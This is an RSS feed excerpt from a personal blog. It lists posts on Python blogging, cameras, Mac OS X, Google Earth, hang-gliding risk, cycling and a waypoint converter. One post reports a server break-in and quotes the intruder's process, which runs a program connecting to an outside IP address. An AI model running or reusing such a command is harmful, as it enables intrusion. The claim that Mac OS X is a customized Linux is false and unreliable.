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		<title>My blog is moving</title>
		<description><![CDATA[	Since I work in software development with Python, it seems only natural that my blog software should run on Python.  That way, when it breaks, I have half a chance of being able to fix it.  
	Wordpress, the toolkit for this blog, is a great piece of work, and there&#8217;s nothing wrong with [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=119</link>
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		<title>Camera choices</title>
		<description><![CDATA[	Here&#8217;s some advice I recently wrote for a friend looking for a camera.  I&#8217;m looking too, since my Canon A70 crapped out again for the third time.   Ever wonder why Canon came out with the nearly identical A75 soon after the release of the A70? It&#8217;s because the A70 had a defective [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=118</link>
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		<title>Python programmers don&#8217;t (all) blog with python</title>
		<description><![CDATA[I found it surprising that a good number of python programmer's blogs aren't written with python - is that like GM employees driving a Toyota?]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=117</link>
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		<title>Running Skencil on Mac OS X</title>
		<description><![CDATA[	Recently, I switched from Linux to Mac OS X with the purchase of a Mac Mini, and I&#8217;ve been busy getting some of my favourite Linux apps running on Mac OS X (for those that don&#8217;t know, Mac OS X is effectively a pretty face on top of a customized version of Linux; techies please [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=116</link>
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		<title>Google Earth</title>
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Mt. Seven Ramp

Google Earth (formerly Keyhole) is a unique satellite mapping and viewing application purchased recently by Google.  It&#8217;s already transforming the way we look at our world.  Now we can use it to improve our site guides, by allowing pilots to see how the site looks in 3D (you can tilt and [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=115</link>
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		<title>Thoughts on risk</title>
		<description><![CDATA[	Last Friday, July 29th, while I was flying my hang glider cross-country along the range south of Golden, BC, another pilot was critically injured and died a couple of days later.  His name was Charles Warren, and he was flying a paraglider.  I&#8217;m sorry to see him go, and though we weren&#8217;t close, [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=114</link>
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		<title>Back in business (obviously)</title>
		<description><![CDATA[	If you&#8217;re reading this, obviously I&#8217;m back in business.  The server was down for only 4 hours, during which time I did a complete Linux install, copied data files back from backup, re-created all databases, and debugged problems.  Sorry for any inconvenience.

During the rebuild, I installed a new version of Mandriva Linux from [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=113</link>
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		<title>Compromised server</title>
		<description><![CDATA[	I returned from a business trip to find an unexpected process running on my webserver:
sh -c ./sik 202.71.104.245 
 What that means is the following: someone found a way through my firewall and onto my webserver, and made a direct connection between my computer and his (most likely it is a young male involved).  [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=112</link>
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		<title>Around the Bay in a Day</title>
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Afternoon rays on Port Phillip Bay at Frankston, Victoria, Australia, during a ride around the bay.

While working in Melbourne, Australia, recently, I decided to ride &#8216;around the bay in a day&#8217;.  I was inspired by the event of that name, which runs every year in October, organized by Bike Victoria. Thousands of cyclists attempt [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=111</link>
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		<title>Convert CompeGPS waypoints to GPX format</title>
		<description><![CDATA[	I see that there are several requests for CompeGPS to export its waypoints to a format that other programs can use, but this feature has not been added.  As a temporary solution, I&#8217;ve written a small utility to convert .WPT files to .gpx files.  
	I&#8217;m unable to determine what all of the fields [...]]]></description>
		<link>http://midtoad.homelinux.org/wp/?p=110</link>
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